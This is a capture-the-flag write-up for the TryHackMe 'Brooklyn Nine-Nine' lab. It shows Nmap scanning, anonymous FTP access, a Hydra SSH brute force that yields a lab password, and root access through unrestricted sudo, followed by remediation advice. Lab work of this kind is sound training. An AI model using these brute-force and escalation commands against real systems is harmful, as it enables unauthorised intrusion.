

Penetration Testing Report: TryHackMe - Brooklyn Nine-Nine

1. Executive Summary

The **Brooklyn Nine-Nine** room on TryHackMe is an easy-rated Boot2Root CTF. The objective is to identify open services, exploit misconfigurations or weak credentials to gain initial access, and escalate privileges to the root user to capture both the user and root flags.

Multiple attack vectors exist due to weak password policies across different user accounts ([jake](#), [amy](#), and [holt](#)).

2. Target Information

Resource	Target Details
Target OS	Linux (Ubuntu)
Difficulty	Easy
Objective	User Flag & Root Flag

3. Enumeration & Scanning

Service Discovery

An Nmap scan reveals three standard ports open on the target machine:

Bash

```
nmap -sC -sV -oN nmap_report.txt <TARGET_IP>
```

- **Port 21 (FTP):** [vsftpd 3.0.3](#) (Anonymous login allowed)
- **Port 22 (SSH):** [OpenSSH 7.6p1](#)
- **Port 80 (HTTP):** [Apache httpd 2.4.29](#)

Web & FTP Assessment

1. **HTTP (Port 80):** Accessing the web server displays a basic homepage featuring an image of the Brooklyn Nine-Nine cast. Inspecting the source code reveals a basic layout but no immediate hidden comments or directories.
2. **FTP (Port 21):** Logging into FTP anonymously yields an interesting file:
3. Bash

```
ftp <TARGET_IP>
```

```
# Username: anonymous
```

```
# Password: <blank>
```

4.

5. A file named `note_to_jake.txt` is found on the server. Downloading it reveals a message from Amy reprimanding Jake about his incredibly weak password. This confirms `jake` is a valid user and strongly implies a brute-force attack on SSH will be successful.

4. Exploitation & Initial Access

Attack Vector: SSH Brute Force

Using Hydra and the standard `rockyou.txt` wordlist against the `jake` account quickly yields his plaintext credentials:

Bash

```
hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://<TARGET_IP>
```

- **Credentials Found:** `jake:gotham`

Initial Foothold

Logging in via SSH provides initial low-privilege access, allowing us to read the user flag located in Jake's home directory.

Bash

```
ssh jake@<TARGET_IP>
```

```
cat /home/jake/user.txt
```

5. Privilege Escalation

Local Enumeration

Checking current privileges using `sudo -l` reveals what commands the user can run as root:

Bash

```
jake@brooklyn99:~$ sudo -l
```

```
Matching Defaults entries for jake on brooklyn99:
```

```
env_reset, mail_badpass, secure_path=/usr/local/sbin/...
```

User jake may run the following commands on brooklyn99:

(ALL : ALL) ALL

Critical Misconfiguration: The user `jake` has broad permission to execute **any** command as `ALL` users via `sudo` without needing a specialized binary exploit.

Spawning a Root Shell

Because Jake has full `sudo` privileges, upgrading to the root user is trivial:

```
Bash
sudo su
# Or alternatively
sudo /bin/bash
```

Once the root shell is spawned, navigating to the `/root` directory allows access to the final objective.

```
Bash
root@brooklyn99:~# cd /root
root@brooklyn99:/root# cat root.txt
```

6. Remediation Recommendations

- **Enforce Strong Password Policies:** The initial vector succeeded entirely because a user account utilized a common, easily brute-forced password (`gotham`). Implement a strict minimum length and complexity policy.
- **Disable Anonymous FTP Access:** Unless strictly required for public distribution, anonymous access to the FTP server should be disabled, and sensitive administrative/personal notes should never be stored in shared directories.
- **Restrict Sudo Privileges:** Granting generic `(ALL : ALL) ALL` sudo access to low-level user accounts violates the principle of least privilege. Limit sudo execution strictly to necessary binaries.